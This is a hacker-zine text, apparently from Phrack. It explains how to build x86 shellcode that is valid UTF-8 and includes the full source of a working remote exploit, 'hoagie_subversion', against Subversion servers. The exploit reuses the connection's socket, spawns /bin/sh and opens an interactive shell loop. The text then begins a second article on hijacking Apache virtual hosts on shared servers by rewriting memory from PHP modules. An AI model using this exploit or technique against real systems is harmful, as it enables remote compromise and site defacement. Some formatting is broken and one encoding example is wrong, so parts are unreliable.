 - 5.4 - A real exploit using these techniques
6. - Considerations
 - 6.1 - Automated shellcode transformer

6.2 - UTF-8 in XML-files

7 - Greetings, last words

- ---[1. Abstract

This paper deals with the creation of shellcode that is recognized as valid by any UTF-8 parser. The problem is not unlike the alphanumeric shellcodes problem described by rix in phrack 57 [4], but fortunately we have much more characters available, so we can almost always build shellcode that is valid UTF-8 and does what we want.

I will show you a brief introduction into UTF-8 and will outline the characters available for building shellcodes. You will see that it's generally possible to make any shellcode valid UTF-8, but you will have to think quite a bit. A working example is provided at the end for reference.

- ---[2. What is UTF-8?

For a really great introduction into the topic, I highly suggest reading the "UTF-8 and Unicode FAQ" [1] by Markus Kuhn.

UTF-8 is a character encoding, suitable to represent all 2^{31} characters defined by the UNICODE standard. The really neat thing about UTF-8 is that all ASCII characters (the lower codepage in standard encodings like ISO-8859-1 etc) are the same in UTF-8 - no conversion needed. That means, in the best case, all your config files in /etc and every English text document you have on your computer right now are already 100% valid UTF-8.

Unicode characters are written like this: U-0000007F, which stands for "the 128th character in the Unicode character space". You can see that with this representation one can easily represent all 2^{31} characters that the Unicode-standard defines, but it's a waste of space (when you write English or western text) and - much more important - makes the transition to Unicode very hard (convert all the files you already have). "Hello" would thus be encoded like:

U-00000047 U-00000065 U-0000006C U-0000006C U-0000006F

which is in hex:

\x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00
\x6F\x00\x00\x00

(for all you little endian friends).

What a waste of space! 20 bytes for 5 characters... The same text in UTF-8:

"Hello"

: -)

Let's look at the encoding in more detail.

- ---[2.1. UTF-8 in detail

UTF-8 can represent any Unicode character in an UTF-8 sequence between 1-6 bytes.

As I already mentioned before, the characters in the lower codepage (ASCII-code) are the same in Unicode - they have the character values U-00000000 - U-0000007F. You therefore still only need 7 bits to represent all possible values. UTF-8 says, if you only need up to 7 bits for your character, stuff it into one byte and you are fine.

Unicode-characters that have higher values than U-0000007F must be mapped to two or more bytes, as shown in the table below:

```
U-00000000 - U-0000007F: 0xxxxxxx
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
```

Example: U-000000C4 (LATIN CAPITAL LETTER A WITH DIAERESIS)

This character's value is between U-00000080 and U-000007FF, so we have to encode it using 2 bytes. 0xC4 is 11000100 binary. UTF-8 fills up the places marked 'x' above with these bits, beginning at the lowest significant bit.

```
      110xxxxx 10xxxxxx
+           11   000100
+-----+
      11000011 10000100
```

which results in 0xC3 0x84 in UTF-8.

Example: U-0000211C (BLACK-LETTER CAPITAL R)

The same here. According to the table above, we need 3 bytes to encode this character.

0x211C is 00100001 00011100 binary. Lets fill up the spaces:

```
      1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
+           00   100001   000100   011100
+-----+
      11100000 10100001 10000100 10011100
```

which is 0xE0 0xB1 0x84 0x9C in UTF-8.

I hope you get the point now :-)

- ---[2.2. Advantages of using UTF-8

UTF-8 combines the flexibility of Unicode (think of it: no more codepages mess!) with the ease-of-use of traditional encodings. Also, the transition to complete worldwide UTF-8 support is easy to do, because every plain-7-bit-ASCII-file that exists right now (and existed since the 60s) will be valid in the future too, without any modifications. Think of all your config files!

- -----

- ---] 3. The need for UTF-8 compatible shellcodes

So, since we know now that UTF-8 is going to save our day in the future, why would we need shellcodes that are valid UTF-8 texts?

Well, UTF-8 is the default encoding for XML, and since more and more protocols start using XML and more and more networking daemons use these protocols, the chances to find a vulnerability in such a program increases. Additionally, applications start to pass user input around encoded in UTF-8. So sooner or later, you will overflow a buffer with UTF-8-data. Now you want that data to be executable AND valid UTF-8.

- ---] 3.1. UTF-8 sequences

Fortunately, the situation is not that desperate, compared to alphanumeric shellcodes. There, we only have a very limited character set, and this really limits the instructions available. With UTF-8, we have a much bigger character space, but there is one problem: we are limited in the sequence of characters. For example, with alphanumeric shellcodes we don't care if the sequence is "AAAC" or "CAAA" (except for the problem, of course, that the instructions have to make sense :)) But with UTF-8, for example, 0xBF must not follow 0xBF. Only certain bytes may follow other bytes. This is what the UTF-8-shellcode-magic is all about.

- ---] 3.1.1. Possible sequences

Let's look into the available "UTF-8-codespace" more closely:

U-00000000 - U-0000007F: 0xxxxxxx = 0 - 127 = 0x00 - 0x7F

This is much like the alphanumeric shellcodes - any character can follow any character, so 0x41 0x42 0x43 is no problem, for example.

U-00000080 - U-000007FF: 110xxxxx 10xxxxxx

First byte: 0xC0 - 0xDF

Second byte: 0x80 - 0xBF

You see the problem here. A valid sequence would be 0xCD 0x80 (do you remember that sequence - int \$0x80 :)), because the byte following 0xCD must be between 0x80 and 0xBF. An invalid sequence would be 0xCD 0x41, every UTF-8-parser chokes on this.

U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx

First byte: 0xE0 - 0xEF

Following 2 bytes: 0x80 - 0xBF

So, if the sequence starts with 0xE0 to 0xEF, there must be two bytes following between 0x80 and 0xBF. Fortunately we can often use 0x90 here, which is nop. But more on that later.

U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

First byte: 0xF0 - 0xF7

Following 3 bytes: 0x80 - 0xBF

You get the point.

U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

First byte: 0xF8 - 0xFB

Following 4 bytes: 0x80 - 0xBF

U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

First byte: 0xFC - 0xFD

Following 5 bytes: 0x80 - 0xBF

So we know now what bytes make up UTF-8:

0x00 - 0x7F without problems

0x80 - 0xBF only as a "continuation byte" in the middle of a sequence

0xC0 - 0xDF as a start-byte of a two-byte-sequence (1 continuation byte)

0xE0 - 0xEF as a start-byte of a three-byte-sequence (2 continuation bytes)
0xF0 - 0xF7 as a start-byte of a four-byte-sequence (3 continuation bytes)
0xF8 - 0xFB as a start-byte of a five-byte-sequence (4 continuation bytes)
0xFC - 0xFD as a start-byte of a six-byte-sequence (5 continuation bytes)
0xFE - 0xFF not usable! (actually, they may be used only once in a UTF-8-text - the sequence 0xFF 0xFE marks the start of such a text)

- ---] 3.1.2. UTF-8 shortest form

Unfortunately (for us), the Corrigendum #1 to the Unicode standard [2] specifies that UTF-8-parsers only accept the "UTF-8 shortest form" as a valid sequence.

What's the problem here?

Well, without that rule, we could encode the character U+0000000A (line feed) in many different ways:

0x0A - this is the shortest possible form

0xC0 0x8A

0xE0 0x80 0x8A

0xF0 0x80 0x80 0x8A

0xF8 0x80 0x80 0x80 0x8A

0xFC 0x80 0x80 0x80 0x80 0x8A

Now that would be a big security problem, if UTF-8 parsers accepted all the possible forms. Look at the strcmp routine - it compares two strings byte per byte to tell if they are equal or not (that still works this way when comparing UTF-8-strings). An attacker could generate a string with a longer form than necessary and so bypass string comparison checks, for example.

Because of this, UTF-8-parsers are required to only accept the shortest possible form of a sequence. This rules out sequences that start with one of the following byte patterns:

1100000x (10xxxxxx)

11100000 100xxxxx (10xxxxxx)

11110000 1000xxxx (10xxxxxx 10xxxxxx)

11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)

11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx)

Now certain sequences become invalid, for example 0xC0 0xAF, because the resulting UNICODE character is not encoded in its shortest form.

- ---] 3.1.3. Valid UTF-8 sequences

Now that we know all this, we can tell which sequences are valid UTF-8:

Code Points	1st Byte	2nd Byte	3rd Byte	4th Byte
U+0000..U+007F	00..7F			
U+0080..U+07FF	C2..DF	80..BF		
U+0800..U+FFFF	E0	A0..BF	80..BF	
U+1000..U+FFFF	E1..EF	80..BF	80..BF	
U+10000..U+3FFFF	F0	90..BF	80..BF	80..BF
U+40000..U+FFFFF	F1..F3	80..BF	80..BF	80..BF
U+100000..U+10FFFF	F4	80..8F	80..BF	80..BF

Let's look how to build UTF-8-shellcode!

- ---] 4. Creating the shellcode

Before you start, be sure that you are comfortable creating "standard" shellcode, i.e. shellcode that has no limitations in the instructions available.

We know which characters we can use and that we have to pay attention to the character sequence. Basically, we can transform any shellcode to UTF-8 compatible shellcode, but we often need some tricks.

- ---] 4.1. Bytes that come in handy

The biggest problem while building UTF-8-shellcode is that you have to get the sequences right.

```
"\x31\xc9"        // xor %ecx, %ecx
"\x31\xdb"        // xor %ebx, %ebx
```

We start with `\x31`. No problem here, `\x31` is between `\x00` and `\x7f`, so we don't need any more continuation bytes. `\xc9` is next. Woops - it is between `\xc2` and `\xdf`, so we need a continuation byte. What byte is next? `\x31` - that is no valid continuation byte (which have to be between `\x80` and `\xbf`). So we have to insert an instruction here that doesn't harm our code *and* makes the sequence UTF-8-compatible.

- ---] 4.1.1. Continuation bytes

We are lucky here. The nop instruction (`\x90`) is the perfect continuation byte and simply does nothing :) (exception: you can't use it if it is the first continuation byte in a `\xe1-\xef` sequence - see the table in 3.1.3).

So to handle the problem above, we would simply do the following:

```
"\x31\xc9"        // xor %ecx, %ecx
"\x90"            // nop (UTF-8)
"\x31\xdb"        // xor %ebx, %ebx
"\x90"            // nop (UTF-8)
```

(I always mark bytes I inserted because of UTF-8 so I don't accidentally optimize them away later when I need to save space)

- ---] 4.1.2. Masking continuation bytes

The other way round, you often have instructions that start with a continuation byte, i.e. the first byte of the instruction is between `\x80` and `\xbf`:

```
"\x8d\x0c\x24"    // lea (%esp,1),%ecx
```

That means you have to find an instruction that is only one byte long and lies between `\xc2` and `\xdf`.

The most suitable one I found here is `SALC` [2]. This is an *undocumented* Intel opcode, but every Intel CPU (and compatible) supports it. The funny thing is that even `gdb` reports an "invalid opcode" there. But it works :) The opcode of `SALC` is `\xd6` so it suits our purpose well.

The bad thing is that it has side effects. This instruction modifies `%al` depending on the carry flag (see [3] for details). So always think about what happens to your `%eax` register when you insert this instruction!

Back to the example, the following modification makes the sequence valid UTF-8:

```
"\xd6"           // salc (UTF-8)
"\x8d\x0c\x24"   // lea (%esp,1),%ecx
```

- ---] 4.1.3. Chaining instructions

If you are lucky, instructions that begin with continuation bytes follow instructions that need continuation bytes, so you can chain them together, without inserting extra bytes.

You can often save space this way just by rearranging instructions, so think about it when you are short of space.

- ---] 4.2. General design rules

%eax is evil. Try to avoid using it in instructions that use it as a parameter because the instruction then often contains \xc0 which is invalid in UTF-8. Use something like

```
xor %ebx, %ebx
push %ebx
pop %eax
```

(pop %eax has an instruction code of its own - and a very UTF-8 friendly one, too :)

- ---] 4.3. Testing the code

How can you test the code? Use iconv, it comes with the glibc. You basically convert the UTF-8 to UTF-16, and if there are no error messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences can yield character codes well beyond 0xFF, so the conversion would fail in the other direction if you would convert to LATIN1 or ASCII. Drove me nuts some time ago, because I always thought my UTF-8 was wrong...)

First, invalid UTF-8:

```
greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 31 db                                |1.1.|
00000004
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
ÿþlconv: illegal input sequence at position 1
greuff@pluto:/tmp$
```

And now valid UTF-8:

```
greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 90 31 db 90                          |1..1..|
00000006
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
ÿþlP1Ðgreuff@pluto:/tmp$
```

- -----

- ---] 5. A working example

Now onto something practical. Let's convert a classical /bin/sh-spawning shellcode to UTF-8.


```

*      void.at
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

enum protocol { SVN, SVNSSH, HTTP, HTTPS };

char stagelloader[]=
    // begin socket fd search
    "\x31\xdb"           // xor %ebx, %ebx
    "\x90"               // nop (UTF-8)
    "\x53"               // push %ebx
    "\x58"               // pop %eax
    "\x50"               // push %eax
    "\x5f"               // pop %edi                # %eax = %ebx = %e
di = 0
    "\x2c\x40"           // sub $0x40, %al
    "\x50"               // push %eax
    "\x5b"               // pop %ebx
    "\x50"               // push %eax
    "\x5a"               // pop %edx                # %ebx = %edx = 0x
C0
    "\x57"               // push %edi
    "\x57"               // push %edi                # safety-0
    "\x54"               // push %esp
    "\x59"               // pop %ecx                # %ecx = pointer t
o the buffer
    "\x4b"               // dec %ebx                # beginloop:
    "\x57"               // push %edi
    "\x58"               // pop %eax                # clear %eax
    "\xd6"               // salc (UTF-8)
    "\xb0\x60"           // movb $0x60, %al
    "\x2c\x44"           // sub $0x44, %al          # %eax = 0x1C
    "\xcd\x80"           // int $0x80               # fstat(i, &stat)
    "\x58"               // pop %eax
    "\x58"               // pop %eax
    "\x50"               // push %eax
    "\x50"               // push %eax
    "\x38\xd4"           // cmp %dl, %ah            # uppermost 2 bits
of st_mode set?
    "\x90"               // nop (UTF-8)
    "\x72\xed"           // jb beginloop
    "\x90"               // nop (UTF-8)
    "\x90"               // nop (UTF-8)            # %ebx now contain
s the socket fd
    // begin read(2)
    "\x57"               // push %edi
    "\x58"               // pop %eax                # zero %eax

```

```

        "\x40"           // inc %eax
        "\x40"           // inc %eax
        "\x40"           // inc %eax           # %eax=3
        //"\x54"          // push %esp
        //"\x59"          // pop %ecx           # %ecx ... addre
ss of buffer
        //"\x54"          // push %edi
        //"\x5a"          // pop %edx           # %edx ... buffe
rlen (0xC0)
        "\xcd\x80"       // int $0x80           # read(2) second s
tage loader
        "\x39\xC7"       // cmp %eax, %edi
        "\x90"           // nop (UTF-8)
        "\x7f\xf3"       // jg startover
        "\x90"           // nop (UTF-8)
        "\x90"           // nop (UTF-8)
        "\x90"           // nop (UTF-8)
        "\x54"           // push %esp
        "\xC3"           // ret           # execute second s
tage loader
        "\x90"           // nop (UTF-8)
        "\0"             // %ebx still contains the fd we can use in the 2nd stage l
oader.
        ;

char stage2loader[]=
    // dup2 - %ebx contains the fd
    "\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
    "\xb9\x00\x00\x00\x00" // mov $0x0, %ecx
    "\xcd\x80"             // int $0x80
    "\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
    "\xb9\x01\x00\x00\x00" // mov $0x1, %ecx
    "\xcd\x80"             // int $0x80
    "\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
    "\xb9\x02\x00\x00\x00" // mov $0x2, %ecx
    "\xcd\x80"             // int $0x80
    // start /bin/sh
    "\x31\xd2"             // xor %edx, %edx
    "\x52"                 // push %edx
    "\x68\x6e\x2f\x73\x68" // push $0x68732f6e
    "\x68\x2f\x2f\x62\x69" // push $0x69622f2f
    "\x89\xe3"             // mov %esp, %ebx
    "\x52"                 // push %edx
    "\x53"                 // push %ebx
    "\x89\xe1"             // mov %esp, %ecx
    "\xb8\x0b\x00\x00\x00" // mov $0xb, %eax
    "\xcd\x80"             // int $0x80
    "\xb8\x01\x00\x00\x00" // mov $0x1, %eax
    "\xcd\x80"             // int $0x80 (exit)
    ;

int stage2loaderlen=69;

char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
>User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"
"%s\n";

char xmlreqfmt[]=

```

```
"<?xml version=\\"1.0\\" encoding=\\"utf-8\\"?>"
"<S:dated-rev-report xmlns:S=\\"svn:\\" xmlns:D=\\"DAV:\\">"
"<D:creationdate>%s%c%c%c%c</D:creationdate>"
"</S:dated-rev-report>";
```

```
int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
```

```
{
    char *ptr;
    char bfr[1000];

    ptr=strstr(uri,"://");
    if(!ptr) return -1;
    *ptr=0;
    snprintf(bfr,sizeof(bfr),"%s",uri);
    if(!strcmp(bfr,"http"))
        *proto=HTTP, *port=80;
    else if(!strcmp(bfr,"svn"))
        *proto=SVN, *port=3690;
    else
    {
        printf("Unsupported protocol %s\n",bfr);
        return -1;
    }
    uri=ptr+3;
    if((ptr=strchr(uri,':'))){
        *ptr=0;
        snprintf(host,1000,"%s",uri);
        uri=ptr+1;
        if((ptr=strchr(uri,'/'))==NULL) return -1;
        *ptr=0;
        snprintf(bfr,1000,"%s",uri);
        *port=(int)strtol(bfr,NULL,10);
        *ptr='/';
        uri=ptr;
    }
    else if((ptr=strchr(uri,'/'))){
        *ptr=0;
        snprintf(host,1000,"%s",uri);
        *ptr='/';
        uri=ptr;
    }
    snprintf(repos,1000,"%s",uri);
    return 0;
}
```

```
int exec_sh(int sockfd)
```

```
{
    char snd[4096],rcv[4096];
    fd_set rset;
    while(1)
    {
        FD_ZERO(&rset);
        FD_SET(fileno(stdin),&rset);
        FD_SET(sockfd,&rset);
        select(255,&rset,NULL,NULL,NULL);
        if(FD_ISSET(fileno(stdin),&rset))
        {
            memset(snd,0,sizeof(snd));
            fgets(snd,sizeof(snd),stdin);
            write(sockfd,snd,strlen(snd));
        }
    }
}
```



```

    }
    if (FD_ISSET(sockfd, &rset))
    {
        memset(rcv, 0, sizeof(rcv));
        if (read(sockfd, rcv, sizeof(rcv)) <= 0)
            exit(0);
        fputs(rcv, stdout);
    }
}

int main(int argc, char **argv)
{
    int sock, port;
    size_t size;
    char cmd[1000], reply[1000], buffer[1000];
    char svdcmdline[1000];
    char host[1000], repos[1000], *ptr, *caddr;
    unsigned long addr;
    struct sockaddr_in sin;
    struct hostent *he;
    enum protocol proto;

    /*sock=open("output", O_CREAT|O_TRUNC|O_RDWR, 0666);
    write(sock, stagelloader, strlen(stagelloader));
    close(sock);
    return 0;*/

    printf("hoagie_subversion - remote exploit against subversion servers\n"
           "by greuff@void.at\n\n");
    if (argc != 3)
    {
        printf("Usage: %s serverurl offset\n\n", argv[0]);
        printf("Examples:\n"
               "    %s svn://localhost/repository 0x41414141\n"
               "    %s http://victim.com:6666/svn 0x40414336\n\n", argv[0], argv[0]);
        printf("The offset is an alphanumeric address (or UTF-8 to be\n"
               "more precise) of a pop instruction, followed by a ret.\n"
               "Brute force when in doubt.\n\n");
        printf("When exploiting against an svn://-url, you can supply a\n"
               "binary offset too.\n\n");
        exit(1);
    }

    // parse the URI
    snprintf(svdcmdline, sizeof(svdcmdline), "%s", argv[1]);
    if (parse_uri(argv[1], &proto, host, &port, repos) < 0)
    {
        printf("URI parse error\n");
        exit(1);
    }
    printf("parse_uri result:\n"
           "Protocol: %d\n"
           "Host: %s\n"
           "Port: %d\n"
           "Repository: %s\n\n", proto, host, port, repos);
    addr = strtoul(argv[2], NULL, 16);
    caddr = (char *) &addr;
    printf("Using offset 0x%02x%02x%02x%02x\n", caddr[3], caddr[2], caddr[1], caddr[0]);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)

```

```

{
    perror("socket");
    return -1;
}

he=gethostbyname(host);
if(he==NULL)
{
    perror("gethostbyname");
    return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
{
    perror("connect");
    return -1;
}

if(proto==SVN)
{
    size=read(sock,reply,sizeof(reply));
    reply[size]=0;
    printf("Server said: %s\n",reply);
    snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
    write(sock,cmd,strlen(cmd));
    size=read(sock,reply,sizeof(reply));
    reply[size]=0;
    printf("Server said: %s\n",reply);
    strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
    write(sock,cmd,strlen(cmd));
    size=read(sock,reply,sizeof(reply));
    reply[size]=0;
    printf("Server said: %s\n",reply);
    snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c ) ) ",strlen(stagelloader)+4,stagelloader,caddr[0],caddr[1],caddr[2],caddr[3]);
    write(sock,cmd,strlen(cmd));
    size=read(sock,reply,sizeof(reply));
    reply[size]=0;
    printf("Server said: %s\n",reply);
}
else if(proto==HTTP)
{
    // preparing the request...
    snprintf(buffer,sizeof(buffer),xmlreqfmt,stagelloader,caddr[0],caddr[1],caddr[2],caddr[3]);
    size=strlen(buffer);
    snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);

    // now sending the request, immediately followed by the 2nd stage loader
    printf("Sending:\n%s",cmd);
    write(sock,cmd,strlen(cmd));
    sleep(1);
    write(sock,stage2loader,stage2loaderlen);
}

// SHELL LOOP
printf("Entering shell loop...\n");
exec_sh(sock);

```

```
/*sleep(1);
close(sock);
printf("\nConnecting to the shell...\n");
exec_sh(connect_sh()); */
return 0;
}
```

- -----8<-----8<-----8<-----8<-----8<-----

- ---] 6. Considerations

Some thoughts about the whole topic.

- ---] 6.1. Automated shellcode transformer

Perhaps it's possible to write an automated shellcode transformer that gets a shellcode and outputs the shellcode UTF-8 compatible (similar to rix's alphanumeric shellcode compiler [4]), but it would be a challenge. Many decisions during the transformation process cannot be automated in my opinion. (By the way - alphanumeric shellcode is of course valid UTF-8! So if you want to save time and space it's not a problem, just use the alphanumeric shellcode compiler on your shellcode and use that!)

- ---] 6.2. UTF-8 in XML-files

When you write UTF-8 shellcode for the purpose of sending it in an XML-document, you'll have to care for a few more things. The bytes \x00 to \x08 are forbidden in XML, as well as the obvious characters like '<', '>' and so on. Don't forget that when you exploit your favourite XML-processing app!

- ---] 7. Greetings, last words

andi@void.at (man, get a nick :))
soletario (the indoor snowboarder)
ReAction
all the other people who often helped me out

- [1] <http://www.cl.cam.ac.uk/~mgk25/unicode.html>
[2] <http://www.unicode.org/versions/corrigendum1.html>
[3] <http://www.x86.org/secrets/opcodes/salc.htm>
[4] <http://www.phrack.org/show.php?p=57&a=15>

|=[EOF]=-----=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x10

==[Attacking Apache with builtin Modules in Multihomed Environments]=
-----=[Andi <andi@void.at>]=-----=

--[Contents

- 1 - Introduction

2 - Apache Memory Layout: Virtual Hosts

3 - Get Virtual Hosts from Memory

4 - Modify a Virtual Host

5 - A sample attack

6 - Add a new Virtual Host

7 - Keep it up

8 - Solution

9 - References

A - Appendix: The implementation

--[1 - Introduction

This paper will show a simple way to modify the memory layout from an Apache [1] process. Most Webhosting Providers use PHP [2], Mod_perl [3] as builtin Apache module to improve the web server performance. This method is of course much faster than loading external programs or extensions (i.e. running php in cgi mode). But on the other side this script runs in the same memory space as the apache process so you can easily change contents of memory.

There's one reason why all this stuff will work as good as it should. Apache holds 5 children in memory (per default). After a HTTP request the process will not be killed. Instead of exiting the current apache process after closing the connection the next request will be processed by the same process. So when you send a lot of requests to the apache server you can "infect" every process.

We use this attack technique to hijack a virtual host on server. I know, there are other methods to get control over the HTTP requests (using open file descriptors,...). But all other methods require at least one process running on the server that handles the HTTP requests and redirect them. This way of hijacking apache doesn't require another process because we change the memory of the apache process itself and so it works normal as before.

This attack technique requires access to an account on a webserver which hosts at least two sites (else it wouldnt make any sense). You can't exploit Apache without your own php script on that server (well perhaps there are some "Remote Include" vulnerabilities so you can run a script on the remote machine).

--[2 - Apache Memory Layout: Virtual Hosts

So when Apache recieves a HTTP request an object from type request_rec will be created. This object contains information about the HTTP request like the method which is used (GET, POST..), the HTTP protocol number etc. Now the correct list for the server ip will be looked up in the IP address hash table (iphash_table). The pointer from that list will be stored in the request object (variable vhost_lookup_data). After the headers from the HTTP request have been read Apache updates it's vhost status. It will use the vhost_lookup_data pointer to find the correct virtual host.

Apache uses internal lists for it's virtual hosts. To speed up search requests there is more than one list and a hash table for IP address lookups. The information about every virtual host is stored in an object

Then you have a list of virtual hosts names pointing to that IP address (name_chain *names). And from that structure we can directly access the virtual host data:

```
struct name_chain {
    name_chain *next;
    server_addr_rec *sar;    /* the record causing it to be in
                             * this chain (needed for port comparisons) */
    server_rec *server;      /* the server to use on a match */
};
```

So the following code will find the correct vhost (variable host):

```
...
for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
    for (trav = iphash_table[i]; trav; trav = trav->next) {
        for (n = trav->names; n != NULL; n = n->next) {
            conf = ap_get_module_config(n->server->module_config,
                                         &core_module);

            if ( (host != NULL &&
                  !strcmp(host, n->server->server_hostname)) ||
                host == NULL ) {
                php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",
                           n->sar->virthost,
                           n->server->server_admin,
                           n->server->server_hostname,
                           conf->ap_document_root);
            }
        }
    }
}
...
```

--[3 - Get Virtual Hosts from Memory

If we want to change the characteristics of virtual hosts we have to know where Apache stores the lists in memory. Apache initialize this list before reading the config file. This is done in the ap_init_vhost_config() function.

[apache_1.3.29/src/main/http_vhost.c]

```
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
    memset(iphash_table, 0, sizeof(iphash_table)); <---- Yes, thats great
    default_list = NULL;
    name_vhost_list = NULL;
    name_vhost_list_tail = &name_vhost_list;
}
...
```

So there are many ways to get the address of iphash_table. You can use gdb, nm (when not stripped),...

```
andi@blackbull:~$ gdb /usr/sbin/apache
```

```
GNU gdb 2002-04-01-cvs
```

```
Copyright 2002 Free Software Foundation, Inc.
```

```
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
```

```
Type "show copying" to see the conditions.
```

There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"... (no debugging symbols found)...

(gdb) disass ap_init_vhost_config

Dump of assembler code for function ap_init_vhost_config:

```
0x080830e0 <ap_init_vhost_config+0>:    push    %ebp
0x080830e1 <ap_init_vhost_config+1>:    mov     %esp,%ebp
0x080830e3 <ap_init_vhost_config+3>:    sub     $0x8,%esp
0x080830e6 <ap_init_vhost_config+6>:    add     $0xffffffffc,%esp
0x080830e9 <ap_init_vhost_config+9>:    push    $0x400
0x080830ee <ap_init_vhost_config+14>:   push    $0x0
0x080830f0 <ap_init_vhost_config+16>:   push    $0x80ceec0
                                         ^^^^^^^^^^
                                         address of iphash_table
0x080830f5 <ap_init_vhost_config+21>:   call    0x804f858 <memset>
0x080830fa <ap_init_vhost_config+26>:   add     $0x10,%esp
0x080830fd <ap_init_vhost_config+29>:   movl    $0x0,0x80cf2c0
0x08083107 <ap_init_vhost_config+39>:   movl    $0x0,0x80cf2c4
0x08083111 <ap_init_vhost_config+49>:   movl    $0x80cf2c4,0x80cf2c8
0x0808311b <ap_init_vhost_config+59>:   leave
0x0808311c <ap_init_vhost_config+60>:   ret
0x0808311d <ap_init_vhost_config+61>:   lea     0x0(%esi),%esi
End of assembler dump.
```

If you dont have access to the apache binary you have to use another method: In hoagie_apachephp.c there are some external defintions of apache functions.

```
...
/* some external defintions to get address locations from memory */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;
...
```

So inside our module we already have the address for this functions and can use the integrated disassembler to get the addresses.

```
iphash_table =
    (ipaddr_chain *)getcall((char*)ap_init_vhost_config, "push", 3);

default_list =
    (ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);
```

And now its very easy to change any vhost data.

NOTE: It depends on your compiler and compiler version which mov or push call returns the correct address. So you can also use the integrated disassembler to print the assembler code on your webpage.

--[5 - A sample attack

Imagine the following situtation:

There are three directories (for each virtual host one) and three index.html files. Lets have a look at the content:

andi@blowfish:/home\$ ls -al hack1/ vhost1/ vhost2/

hack1/:

total 16

drwxr-sr-x	2	andi	andi	4096	Apr	25	03:33	.
drwxrwsr-x	7	root	staff	4096	Apr	25	03:00	..
-rw-r--r--	1	root	staff	20	Apr	25	02:19	index.html

vhost1/:

total 332

drwxr-sr-x	2	andi	andi	4096	May	6	14:20	.
------------	---	------	------	------	-----	---	-------	---

```
drwxrwsr-x      7 root      staff      4096 Apr 25 03:00 ..
-rw-r--r--      1 andi      andi          905 May  6 14:21 hoagie_apache_php.php
-rwxr-xr-x      1 andi      andi     317265 May  6 14:25 hoagie_apache.so
-rw-r--r--      1 root      andi          15 Apr 25 02:18 index.html
```

vhost2/:

total 16

```
drwxr-sr-x      2 andi      andi      4096 Apr 25 03:31 .
drwxrwsr-x      7 root      staff      4096 Apr 25 03:00 ..
-rw-r--r--      1 root      andi          15 Apr 25 02:18 index.html
-rw-r--r--      1 andi      andi          15 Apr 25 03:31 test.html
```

andi@blowfish:/home\$ cat hack1/index.html

hacked!!!!

w0w0w0w

andi@blowfish:/home\$ cat vhost1/index.html

www.vhost1.com

andi@blowfish:/home\$ cat vhost1/hoagie_apachephp.php

```
...
    if (php_hoagie_loaddl()) {
        hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1");
    } else {
        php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
    }
...

```

andi@blowfish:/home\$ cat vhost2/index.html

www.vhost2.com

andi@blowfish:/home\$ cat /home/andi/bin/apache/conf/httpd.conf

```
...
<VirtualHost 172.16.0.123:8080>
    ServerAdmin webmaster@vhost1.com
    DocumentRoot /home/vhost1
    ServerName www.vhost1.com
    ErrorLog logs/www.vhost1.com-error_log
    CustomLog logs/www.vhost1.com-access_log common
</VirtualHost>

```

```
